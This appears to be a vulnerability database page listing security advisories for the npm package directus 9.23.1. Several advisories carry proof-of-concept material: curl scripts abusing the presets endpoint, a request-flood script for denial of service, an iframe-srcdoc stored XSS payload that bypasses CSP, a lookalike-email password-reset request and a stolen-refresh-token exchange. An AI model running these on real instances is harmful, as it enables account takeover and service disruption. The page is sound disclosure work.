Search for packages
| purl | pkg:npm/directus@9.23.1 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-177p-63us-jkhh
Aliases: CVE-2025-53885 GHSA-x3vm-88hf-gpxp |
Directus is vulnerable to sensitive data exposure as user data is not being redacted when logged ### Summary When using Directus Flows to handle CRUD events for users it is possible to log the incoming data to console using the "Log to Console" operation and a template string. ### Impact Malicious admins can log sensitive data from other users when they are created or updated. ### Workarounds Avoid logging sensitive data to the console outside the context of development. |
Affected by 7 other vulnerabilities. |
|
VCID-28xp-kp38-8kem
Aliases: CVE-2024-36128 GHSA-632p-p495-25m5 |
Directus is soft-locked by providing a string value to random string util ### Describe the Bug Providing a non-numeric length value to the random string generation utility will create a memory issue breaking the capability to generate random strings platform wide. This creates a denial of service situation where logged in sessions can no longer be refreshed as sessions depend on the capability to generate a random session ID. ### To Reproduce 1. Test if the endpoint is working and accessible, `GET http://localhost:8055/utils/random/string` 2. Do a bad request `GET http://localhost:8055/utils/random/string?length=foo` 3. After this all calls to `GET http://localhost:8055/utils/random/string` will return an empty string instead of a random string 4. In this error situation you'll see authentication refreshes fail for the app and api. ### Impact This counts as an unauthenticated denial of service attack vector so this impacts all unpatched instances reachable over the internet. |
Affected by 24 other vulnerabilities. |
|
VCID-2hc2-7tsc-nka1
Aliases: CVE-2024-6534 GHSA-3fff-gqw3-vj86 |
Directus has an insecure object reference via PATH presets ### Impact Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the `POST /presets` request but not in the PATCH request. When chained with [CVE-2024-6533](https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw), it could result in account takeover. This vulnerability occurs because the application only validates the user parameter in the `POST /presets` request but not in the PATCH request. ### PoC To exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account. 1. Create a preset for a collection. Store the preset id, or use it if it already exists from `GET /presets`. The following example will use the direct_users preset. ```bash TARGET_HOST="http://localhost:8055" ATTACKER_EMAIL="malicious@malicious.com" ATTACKER_PASSWORD="123456" root_dir=$(dirname $0) mkdir "${root_dir}/static" curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \ -c "${root_dir}/static/attacker_directus_session_token" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}" attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") # Store all user's id curl -s -k "${TARGET_HOST}/users" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data[] | select(.id != \"${attacker_user_id}\")" > "${root_dir}/static/users.json" # Choose the victim user id from the previous request victim_user_id="4f079119-2478-48c4-bd3a-30fa80c5f265" users_preset_id=$(curl -s -k -X 'POST' "${TARGET_HOST}/presets" \ -H 'Content-Type: application/json' \ -b "${root_dir}/static/attacker_directus_session_token" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"{{tittle}}\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}" | jq -r '.data.id') ``` 2. Modify the presets via `PATCH /presets/{id}`. With the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from `GET /users`. The following example modifies the title parameter. ```bash curl -i -s -k -X 'PATCH' "${TARGET_HOST}/presets/${users_preset_id}" \ -H 'Content-Type: application/json' \ -b "${root_dir}/static/attacker_directus_session_token" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${victim_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"PoC Assign another users presets\",\"subtitle\":\"fakeemail@fake.com\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}" ``` Notes: Each new preset to a specific collection will have an integer consecutive id independent of the user who created it. The user is the user id of the victim. The server will not validate that we assign a new user to a preset we own. The app will use the first id preset with the lowest value it finds for a specific user and collection. If we control a preset with an id lower than the current preset id to the same collection of the victim user, we can attack that victim user, or if the victim has not yet defined a preset for that collection, then the preset id could be any value we control. Otherwise, the attacker user must have permission to modify or create the victim presets. When the victim visits the views of the modified presets, it will be rendered with the new configuration applied. |
Affected by 21 other vulnerabilities. |
|
VCID-2hv8-fgdr-hugf
Aliases: CVE-2025-30225 GHSA-j8xj-7jff-46mx |
Directus's S3 assets become unavailable after a burst of malformed transformations ### Summary When making many malformed transformation requests at once, at some point, all assets are being served as 403. ### Details When I was investigating this issue, I have found that after a burst of malformed asset transformation requests, the amount of `sockets` held on [Agent on NodeHttpHandler](https://github.com/smithy-lang/smithy-typescript/blob/main/packages/node-http-handler/src/node-http-handler.ts#L189) was always equal to [`STORAGE_CLOUD_MAX_SOCKETS`](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L89) making it impossible to have new connections causing assets to be inaccessible. After looking into this [issue on AWS SDK](https://github.com/aws/aws-sdk-js-v3/issues/6691) I found that if the [stream is requested](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L213), it needs to be consumed otherwise will hang forever. And as can be [seen here](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L184) the stream is not consumed, because `sharp` will throw an error on the invalid arguments. For example `?height=xyz` The [timeouts set here](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L87-L88) had no noticeable effect on tests made. ### PoC This can be easily reproduced with the following steps: - setup AWS S3 storage - set STORAGE_CLOUD_MAX_SOCKETS: "50" (this value is lower than default for easier reproduction) - upload a file to your project - run this file (Replace the the file ID with the one you just uploaded): ```ts import axios from "axios"; async function start() { Array.from({ length: 400 }, (_, i) => { axios .get( "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100&height=XYZ" ) .then(() => console.log("✅")) .catch((e) => console.log("⛔", e.response?.status || e.code || e.message) ); }); } start(); ``` Here's an example: https://github.com/user-attachments/assets/7f5a6f51-1c51-4d4d-aa4f-c4953e91714c ### Impact This causes denial of assets for all policies of Directus, including Admin and Public. |
Affected by 11 other vulnerabilities. |
|
VCID-2uz6-wjn7-kug4
Aliases: CVE-2026-22032 GHSA-3573-4c68-g8cc |
Directus has open redirect in SAML ## Security Advisory: Open Redirect in Directus SAML Authentication ### Summary An open redirect vulnerability exists in the Directus SAML authentication callback endpoint. The `RelayState` parameter is used in redirects without proper validation against an allowlist of permitted domains. ### Vulnerability Description During SAML authentication, the `RelayState` parameter is intended to preserve the user's original destination. However, while the login initiation flow validates redirect targets against allowed domains, this validation is not applied to the callback endpoint. This allows an attacker to craft a malicious authentication request that redirects users to an arbitrary external URL upon completion. The vulnerability is present in both the success and error handling paths of the callback. ### Impact - **Phishing**: Users can be redirected to attacker-controlled sites that mimic legitimate login pages - **Credential theft**: Chained attacks may leverage the redirect to capture OAuth tokens or authorization codes - **Trust erosion**: Users may lose confidence in the application's security posture This vulnerability can be exploited without authentication. |
Affected by 1 other vulnerability. |
|
VCID-4aek-ts88-rqaj
Aliases: GHSA-q83v-hq3j-4pq3 |
Duplicate Advisory: Improper access control in Directus ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-3fff-gqw3-vj86. This link is maintained to preserve external references. ## Original Description Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the 'POST /presets'Â request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover. |
Affected by 22 other vulnerabilities. |
|
VCID-4qw3-s2gp-9bc8
Aliases: CVE-2024-39701 GHSA-hxgm-ghmv-xjjm |
Directus incorrectly handles `_in` filter ### Summary Directus >=9.23.0, <=v10.5.3 improperly handles _in, _nin operators. It evaluates empty arrays as valid so expressions like {"role": {"_in": $CURRENT_USER.some_field}} would evaluate to true allowing the request to pass. ### Details This results in Broken Access Control because the rule fails to do what it was intended to do: Pass rule if **field** matches any of the **values**. ref: https://docs.directus.io/reference/filter-rules.html#filter-operators In my example this would translate to "Pass rule if **<collection>.role** matches any of **[]**". Which should fail. This instead passes in Directus <= v10.5.3, >=v9.23.0 ### PoC {"role": {"_in": $CURRENT_USER.some_field}} field validation would pass if $CURRENT_USER.some_field is null. Real scenario: Using https://github.com/u12206050/directus-extension-role-chooser with the specified versions of Directus (I tested on 10.0.0) allows users with access to this feature set their role to whatever role if they don't have any roles assigned (user_roles.role is left with the default value, null) despite the validation rule being ```yaml validation: role: _in: $CURRENT_USER.user_roles.role ``` Latest version of Directus (v10.8.3 and above) handles the above validation rule correctly. ### Impact Permissions fail to open for setups relying on this filter and can lead to users getting access to things they're not supposed to. |
Affected by 28 other vulnerabilities. |
|
VCID-4uk6-xe3f-h3h9
Aliases: CVE-2024-27295 GHSA-qw9g-7549-7wg5 |
Directus has MySQL accent insensitive email matching ## Password reset vulnerable to accent confusion The password reset mechanism of the Directus backend is implemented in a way where combined with (specific, need to double check if i can work around) configuration in MySQL or MariaDB. As such, it allows attackers to receive a password reset email of a victim user, specifically having it arrive at a similar email address as the victim with a one or more characters changed to use accents. This is due to the fact that by default MySQL/MariaDB are configured for accent-insenstive and case-insensitve comparisons. MySQL weak comparison: ```sql select 1 from directus_users where 'julian@cure53.de' = 'julian@cüre53.de'; ``` This is exploitable due to an error in the API using the supplied email address for sending the reset password mail instead of using the email from the database. ### Steps to reproduce: 1. If the attacker knows the email address of the victim user, i.e., `julian@cure53.de`. (possibly just the domain could be enough for an educated guess) 2. A off-by-one accented domain `cüre53.de` can be registered to be able to receive emails. 3. With this email the attacker can request a password reset for `julian@cüre53.de`. ```http POST /auth/password/request HTTP/1.1 Host: example.com [...] {"email":"julian@cüre53.de"} ``` 4. The supplied email (julian@cüre53.de) gets checked against the database and will match the non-accented email `julian@cure53.de` and will continue to email the password reset link to the provided email address instead of the saved email address. 5. With this email the attacker can log into the target account and use it for nefarious things ### Workarounds Should be possible with collations but haven't been able to confirm this. ### References - https://www.monolune.com/articles/what-is-the-utf8mb4_0900_ai_ci-collation/ - https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html |
Affected by 26 other vulnerabilities. |
|
VCID-4v6n-unvz-wff3
Aliases: CVE-2024-45596 GHSA-cff8-x7jv-4fm8 |
Session is cached for OpenID and OAuth2 if `redirect` is not used ### Summary Unauthenticated user can access credentials of last authenticated user via OpenID or OAuth2 where the authentication URL did not include `redirect` query string. For example: - Project is configured with OpenID or OAuth2 - Project is configured with cache enabled - User tries to login via SSO link, but without `redirect` query string - After successful login, credentials are cached - If an unauthenticated user tries to login via SSO link, it will return the credentials of the other last user The SSO link is something like `https://directus.example.com/auth/login/openid/callback`, where `openid` is the name of the OpenID provider configured in Directus ### Details This happens because on that endpoint for both OpenId and Oauth2 Directus is using the `respond` middleware, which by default will try to cache GET requests that met some conditions. Although, those conditions do not include this scenario, when an unauthenticated request returns user credentials. For OpenID, this can be seen here: https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459 And for OAuth2 can be seen here https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428 ### PoC - Create a new Directus project - Set `CACHE_ENABLED` to true - Set `CACHE_STORE` to `redis` for reliable results (if using memory with multiple nodes, it may only happen sometimes, due to cache being different for different nodes) - Configure `REDIS` with redis string or redis host, port, user, etc. - Set `AUTH_PROVIDERS` to `openid` - Set `PUBLIC_URL` to the the main URL of your project . For example, `PUBLIC_URL: http://localhost:8055` - Configure `AUTH_OPENID_CLIENT_ID`, `AUTH_OPENID_CLIENT_SECRET`, `AUTH_OPENID_ISSUER_URL` with proper OpenID configurations - Be sure that on OpenID external app you have configured Redirect URI to `http://localhost:8055/auth/login/openid/callback` - Run Directus - Open the SSO link like `http://localhost:8055/auth/login/openid/callback` - Do the authentication on the OpenID external webpage - Verify that it you got redirected to a page with a JSON including `access_token` property - Be sure all anonymous mode windows are closed - Open an anonymous window and go to the SSO Link `http://localhost:8055/auth/login/openid/callback` and see you have the same credentials, even though you don't have any session because you are in anonymous mode ### Impact All projects using OpenID or OAuth 2, that does not include `redirect` query string on loggin in users. |
Affected by 0 other vulnerabilities. Affected by 21 other vulnerabilities. |
|
VCID-4x1w-8bx4-rqf9
Aliases: CVE-2025-64749 GHSA-cph6-524f-3hgr |
Directus Vulnerable to Information Leakage in Existing Collections ### Summary: An observable difference in error messaging was found in the Directus REST API. The `/items/{collection}` API returns different error messages for these two cases: 1. A user tries to access an existing collection which they are not authorized to access. 2. A user tries to access a non-existing collection. The two differing error messages leak the existence of collections to users which are not authorized to access these collections. ### Details: The following response returns an error message, when requesting a collection the user is not authorized to access. ``` GET /items/no-access { "errors": [ { "message": "You don't have permission to access collection \"no-access\" or it does not exist. Queried in root.", "extensions": { "reason": "You don't have permission to access collection \"no-access\" or it does not exist. Queried in root.", "code": "FORBIDDEN" } } ] } ``` The following response returns a different error message when requesting a collection which does not exist. ``` GET /items/does-not-exist { "errors": [ { "message": "You don't have permission to access this.", "extensions": { "code": "FORBIDDEN" } } ] } ``` ### Impact: The difference in errors between non-existent collections and collections blocked by permissions leak the existence of a collection to a user which is not authorized to access this object. ### Credit: Sebastian Krause - [Hackmanit GmbH](https://hackmanit.de) |
Affected by 2 other vulnerabilities. |
|
VCID-547q-d837-dfcz
Aliases: CVE-2024-46990 GHSA-68g8-c275-xf2m |
Directus vulnerable to SSRF Loopback IP filter bypass ### Impact If you're relying on blocking access to localhost using the default `0.0.0.0` filter this can be bypassed using other registered loopback devices (like `127.0.0.2` - `127.127.127.127`) ### Workaround You can block this bypass by manually adding the `127.0.0.0/8` CIDR range which will block access to any `127.X.X.X` ip instead of just `127.0.0.1`. |
Affected by 0 other vulnerabilities. Affected by 20 other vulnerabilities. Affected by 21 other vulnerabilities. |
|
VCID-662k-n18g-mybg
Aliases: CVE-2025-53887 GHSA-rmjh-cf9q-pv7q |
Directus' exact version number is exposed by the OpenAPI Spec ### Summary The exact Directus version number is incorrectly being used as OpenAPI Spec version this means that it is being exposed by the `/server/specs/oas` endpoint without authentication. ### Impact With the exact version information a malicious attacker can look for known vulnerabilities in Directus core or any of its shipped dependencies in that specific running version. |
Affected by 7 other vulnerabilities. |
|
VCID-7w4r-sr7k-77g1
Aliases: CVE-2024-28238 GHSA-2ccr-g2rv-h677 |
Session Token in URL in directus ### Impact When reaching the /files page, a JWT is passed via GET request. Inclusion of session tokens in URLs poses a security risk as URLs are often logged in various places (e.g., web server logs, browser history). Attackers gaining access to these logs may hijack active user sessions, leading to unauthorized access to sensitive information or actions on behalf of the user. ### Patches _Has the problem been patched? What versions should users upgrade to?_ ### Workarounds There's no workaround available. ### References _Are there any links users can visit to find out more?_ |
Affected by 27 other vulnerabilities. |
|
VCID-88w3-rw8u-rqea
Aliases: CVE-2025-64748 GHSA-8jpw-gpr4-8cmh |
Directus's conceal fields are searchable if read permissions enabled ## Summary A vulnerability allows authenticated users to search concealed/sensitive fields when they have read permissions. While actual values remain masked (`****`), successful matches can be detected through returned records, enabling enumeration attacks on sensitive data. ## Details The system permits search operations on concealed fields in the `directus_users` collection, including `token`, `tfa_secret`, `password`. Matching records are returned with masked values, but their presence confirms the searched value exists. The "Recommended Defaults" for "App Access" grant users full read permissions to their role/user records, inadvertently enabling them to search for any user's tokens, TFA secrets, and password hashes. Attackers can leverage known password hashes from breach databases to identify accounts with compromised passwords. # Impact This vulnerability enables: - **Token enumeration** - Verification of valid authentication tokens - **Password hash matching** - Identification of accounts using known compromised passwords - **Information disclosure** - Confirmation of sensitive value existence without viewing actual data - **Increased attack surface** - Default permissions automatically expose all deployments using recommended settings The risk is particularly high for password fields, where attackers can cross-reference publicly available hash databases to identify vulnerable accounts. |
Affected by 2 other vulnerabilities. |
|
VCID-95tn-g8wd-63hq
Aliases: CVE-2024-39896 GHSA-jgf4-vwc3-r46v |
Directus Allows Single Sign-On User Enumeration ### Impact When relying on SSO providers in combination with local authentication it can be possible to enumerate existing SSO users in the instance. This is possible because if an email address exists in Directus and belongs to a known SSO provider then it will throw a "helpful" error that the user belongs to another provider. ### Reproduction 1. Create a user using a SSO provider `test@directus.io`. 2. Try to log-in using the regular login form (or the API) 3. When using a valid email address | **APP** | **API** | | --- | --- | |  |  | 4. When using an invalid email address | **APP** | **API** | | --- | --- | |  |  | 5. Using this differing error it is possible to determine whether a specific email address is present in the Directus instance as an SSO user. ### Workarounds When only using SSO for authentication then you can work around this issue by disabling local login using the following environment variable `AUTH_DISABLE_DEFAULT="true"` ### References Implemented as feature in https://github.com/directus/directus/pull/13184 https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account |
Affected by 24 other vulnerabilities. |
|
VCID-a75s-xyu6-wbcw
Aliases: GHSA-9qrm-48qf-r2rw |
Directus has a DOM-Based cross-site scripting (XSS) via layout_options ### Impact Directus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover. ### PoC To exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account. 1. Upload the following JavaScript file. Using the upload functionality at `POST /files`. This PoC will show an alert message. ```js export TARGET_HOST="http://localhost:8055" export ATTACKER_EMAIL="malicious@malicious.com" export ATTACKER_PASSWORD="123456" root_dir=$(dirname $0) mkdir "${root_dir}/static" curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \ -c "${root_dir}/static/attacker_directus_session_token" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}" id_url_file=$(echo "alert('Successful DOM-based XSS')" | curl -s -k -X 'POST' "${TARGET_HOST}/files" \ -b "${root_dir}/static/attacker_directus_session_token" \ -F "file=@-;type=application/x-javascript;filename=poc.js" | jq -r ".data.id") ``` 2. Create a preset for a collection and store the preset ID. Or use a preset already created from GET /presets. The following example uses the direct_users preset. ``` attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") curl -i -s -k -X 'POST' "${TARGET_HOST}/presets" \ -H 'Content-Type: application/json' \ -b "${root_dir}/static/attacker_directus_session_token" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"<iframe srcdoc=\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\">\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}" ``` When the user visits the view that uses the directus_users preset, the JavaScript file will be executed. Notes: Need to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is `<iframe srcdoc=\"<script src='URL_MALICIOUS_FILE'> </script>\">`. We can target any collection that uses the vulnerable template structure that renders the layout option section. In this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover. |
Affected by 16 other vulnerabilities. |
|
VCID-a9tr-a8r5-57en
Aliases: CVE-2025-30353 GHSA-fm3h-p9wm-h74h |
Directus's webhook trigger flows can leak sensitive data ### Describe the Bug In Directus, when a **Flow** with the "_Webhook_" trigger and the "_Data of Last Operation_" response body encounters a ValidationError thrown by a failed condition operation, the API response includes sensitive data. This includes environmental variables, sensitive API keys, user accountability information, and operational data. This issue poses a significant security risk, as any unintended exposure of this data could lead to potential misuse.    ### To Reproduce **Steps to Reproduce:** 1. Create a Flow in Directus with: - Trigger: Webhook - Response Body: Data of Last Operation 2. Add a condition that is likely to fail. 3. Trigger the Flow with any input data that will fail the condition. 4. Observe the API response, which includes sensitive information like: - Environmental variables (`$env`) - Authorization headers - User details under `$accountability` - Previous operational data. **Expected Behavior:** In the event of a ValidationError, the API response should only contain relevant error messages and details, avoiding the exposure of sensitive data. **Actual Behavior:** The API response includes sensitive information such as: - Environment keys (`FLOWS_ENV_ALLOW_LIST`) - User accountability (`role`, `user`, etc.) - Operational logs (`current_payments`, `$last`), which might contain private details. |
Affected by 11 other vulnerabilities. |
|
VCID-bjb3-z2we-rqab
Aliases: GHSA-22rr-f3p8-5gf8 GMS-2023-2358 |
Directus affected by VM2 sandbox escape vulnerability ### Impact In vm2 for versions up to 3.9.19, Promise handler sanitization can be bypassed, allowing attackers to escape the sandbox and run arbitrary code. Within Directus this applies to the "Run Script" operation in flows being able to escape the sandbox running code in the main nodejs context. ### Patches Patched in v10.6.0 by replacing `vm2` with `isolated-vm` ### Workarounds None ### References https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 |
Affected by 28 other vulnerabilities. |
|
VCID-djhf-pqnt-6qcp
Aliases: CVE-2024-28239 GHSA-fr3w-2p22-6w7p |
URL Redirection to Untrusted Site in OAuth2/OpenID in directus ### Summary The authentication API has a `redirect` parameter that can be exploited as an open redirect vulnerability as the user tries to log in via the API URL https://docs.directus.io/reference/authentication.html#login-using-sso-providers /auth/login/google?redirect for example. ### Details There's a redirect that is done after successful login via the Auth API GET request to `directus/auth/login/google?redirect=http://malicious-fishing-site.com`, which I think is here: https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L394. While credentials don't seem to be passed to the attacker site, the user can be phished into clicking a legitimate directus site and be taken to a malicious site made to look like a an error message "Your password needs to be updated" to phish out the current password. ### PoC Turn on any auth provider in Directus instance. Form a link to `directus-instance/auth/login/:provider_id?redirect=http://malicious-fishing-site.com`, login and get taken to malicious-site. Tested on the `ory` OAuth2 integration. ### Impact Users who login via OAuth2 into Directus. |
Affected by 27 other vulnerabilities. |
|
VCID-dy98-51bk-p3fk
Aliases: CVE-2025-53889 GHSA-7cvf-pxgp-42fc |
Directus' insufficient permission checks can enable unauthenticated users to manually trigger Flows ### Summary Directus Flows with a manual trigger are not validating whether the user triggering the Flow has permissions to the items provided as payload to the Flow. Depending on what the Flow is set up to do this can lead to the Flow executing potential tasks on the attacker's behalf without authenticating. ### Impact Bad actors could execute the manual trigger Flows without authentication, or access rights to the said collection(s) or item(s). Users with manual trigger Flows configured are impacted as these endpoints do not currently validate if the user has read access to `directus_flows` or to the relevant collection/items. The manual trigger Flows should have tighter security requirements as compared to webhook Flows where users are expected to perform do their own checks. ### Workarounds Users have to implement permission checks for read access to Flows and read access to relevant collection/items. |
Affected by 7 other vulnerabilities. |
|
VCID-j711-a6gm-b7hr
Aliases: CVE-2025-30352 GHSA-7wq3-jr35-275c |
Directus `search` query parameter allows enumeration of non permitted fields ### Summary The `search` query parameter allows users with access to a collection to filter items based on fields they do not have permission to view. This allows the enumeration of unknown field contents. ### Details The searchable columns (numbers & strings) are not checked against permissions when injecting the `where` clauses for applying the search query. This leads to the possibility of enumerating those un-permitted fields. ### PoC - Create a collection with a string / numeric field, configure the permissions for the public role to not include the field created - Create items with identifiable content in the not permitted field - Query the collection and include the field content in the `search` parameter - See that results are returned, even tho the public user does not have permission to view the field content ### Impact This vulnerability is a very high impact, as for example Directus instances which allow public read access to the user avatar are vulnerable to have the email addresses, password hashes and potentially admin level access tokens extracted. The admin token and password hash extraction have a caveat, as string fields are only searched with a lower cased version of the search query. |
Affected by 11 other vulnerabilities. |
|
VCID-km7s-b9cy-57c3
Aliases: CVE-2024-27296 GHSA-5mhg-wv8w-p59j |
Directus version number disclosure ### Impact Currently the exact Directus version number is being shipped in compiled JS bundles which are accessible without authentication. With this information a malicious attacker can trivially look for known vulnerabilities in Directus core or any of its shipped dependencies in that specific running version. ### Patches The problem has been resolved in versions 10.8.3 and newer ### Workarounds None |
Affected by 26 other vulnerabilities. |
|
VCID-mk5k-pf2s-mfe9
Aliases: CVE-2025-64747 GHSA-vv2v-pw69-8crf |
Directus is Vulnerable to Stored Cross-site Scripting ### Summary A stored cross-site scripting (XSS) vulnerability exists that allows users with `upload files` and `edit item` permissions to inject malicious JavaScript through the Block Editor interface. Attackers can bypass Content Security Policy (CSP) restrictions by combining file uploads with iframe srcdoc attributes, resulting in persistent XSS execution. ### Details The vulnerability arises from insufficient sanitization in the Block Editor interface when processing JSON content containing HTML elements. The attack requires two permissions: - `upload files` - To upload malicious JavaScript files - `edit item` - To create or modify content with the Block Editor **Attack Vector:** 1. **JavaScript File Upload**: Attackers upload a malicious JavaScript file via the files endpoint, obtaining a file ID accessible through the assets directory 2. **Block Editor Exploitation**: Using a JSON field with Block Editor interface, attackers inject raw HTML containing an iframe with srcdoc attribute that references the uploaded file 3. **CSP Bypass**: The iframe srcdoc technique circumvents existing CSP protections by creating a new document context that loads the uploaded script The payload is injected through direct API manipulation (PATCH request) to bypass client-side validation, targeting the Block Editor's paragraph data structure within the JSON content field. ### Impact This vulnerability enables: - **Persistent XSS** - Malicious scripts execute whenever affected content is viewed - **Session hijacking** - Access to authentication tokens and cookies of users viewing the content - **Administrative compromise** - If administrators view infected content, their elevated privileges can be exploited - **CSP bypass** - Demonstrates ineffective security controls, potentially affecting other protections - **Data exfiltration** - Ability to steal sensitive information displayed in the application - **Phishing attacks** - Injection of convincing fake login forms or malicious redirects |
Affected by 2 other vulnerabilities. |
|
VCID-n7g1-hmy7-j7g9
Aliases: CVE-2025-53886 GHSA-f24x-rm6g-3w5v |
Directus tokens are not redacted in flow logs, exposing session credentials to all admin ### Summary When using Directus Flows with the WebHook trigger, all incoming request details are logged including security sensitive data like access and refresh tokens in cookies. ### Impact Malicious admins with access to the logs can hijack the user sessions within the token expiration time of them triggering the Flow. |
Affected by 7 other vulnerabilities. |
|
VCID-sxfr-pmr2-x7e7
Aliases: CVE-2023-28443 GHSA-8vg2-wf3q-mwv7 |
directus vulnerable to Insertion of Sensitive Information into Log File ### Summary CWE-532: Insertion of Sensitive Information into Log File discovered in v9.23.1. The `directus_refresh_token` is not redacted properly from the log outputs and can be used to impersonate users without their permission. ### Details Using `v9.23.1`, I am seeing that the `directus_refresh_token` is not properly redacted as indicated by https://github.com/directus/directus/blob/7c479c5161639aac466c763b6b958a9524201d74/api/src/logger.ts#L13 I'm classifying this as a security vulnerability because if someone has access to the log outputs, for example with a shared Cloud account or Splunk implementation, they could exchange the refresh token using `/auth/refresh` for an access token and use the token to perform actions on behalf of an unsuspecting user. This situation creates issues with accountability and non-repudiation because we can no longer have confidence that actions taken in the application were authorized or even performed by the logged-in user. A couple of examples of this are: - A disgruntled employee deletes all of the data to get even with a target team member before logging off on their last day - Under the guise of their unsuspecting boss, a mischievous engineer uploads _questionable_ images that get displayed on internal or external facing content sites The list could go on but I think these communicate the risk of an internal threat that has access to this information 😆 ### PoC 1. Set `LOG_STYLE="raw"` and run Directus v9.23.1 1. Log in to the application 1. Look at the shell output and see that `directus_refresh_token` is logged > Note: This is different from the standard `raw` output format. I intentionally ran this with `npx directus start | pino-pretty` so logs would be easier to read. It can also be reproduced by running `npx directus start` alone.  1. Exchange the `directus_refresh_token` for an `access_token` ``` shell curl -X POST \ 'http://0.0.0.0:8055/auth/refresh' \ --header 'Accept: */*' \ --header 'Cookie: directus_refresh_token=$shh' ``` ### Impact Because this can be used to exploit other threats related to [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html) I rank it with a Moderate severity. An insider with knowledge of this could do many mischievous things and get away with them for a long time without victims knowing about it. |
Affected by 29 other vulnerabilities. |
|
VCID-szpk-4g6r-f3e6
Aliases: CVE-2025-24353 GHSA-pmf4-v838-29hg |
Directus allows privilege escalation using Share feature ### Summary When sharing an item, user can specify an arbitrary role. It allows user to use a higher-privileged role to see fields that otherwise the user should not be able to see. ### Details Specifying `role` on share should be available only for admins. The current flow has a security flaw. Each other role should allow to share only in the context of the same role. As there is no role hierarchy in Directus, it is impossible to tell which role is _higher_ or _lower_, so only admins should be able to specify the role for share. Optionally, instead of specifying a role, shareer* should be able to specify which fields (limited to fields shareer sees) are available on shared item. Similarily to import. *_shareer_ - a person that creates a share link to item ### PoC 1. Create a collection with a secret field. 2. Create role A that sees the secret field 3. Create role B that does not see the secret field, but can use share feature. 4. Create item with secret field filled. 5. Use account with role B to share the object as role A and gain unauthorized access to secret value. Here's video example: https://www.youtube.com/watch?v=DbV4IxbWzN4 I had to upload it to YouTube, because GitHub allows only 10MB videos. ### Impact Impacted are instances that use the share feature and have specific roles hierarchy and fields that are not visible for certain roles. |
Affected by 19 other vulnerabilities. |
|
VCID-u5pc-6e92-zyev
Aliases: CVE-2024-34708 GHSA-p8v3-m643-4xqx |
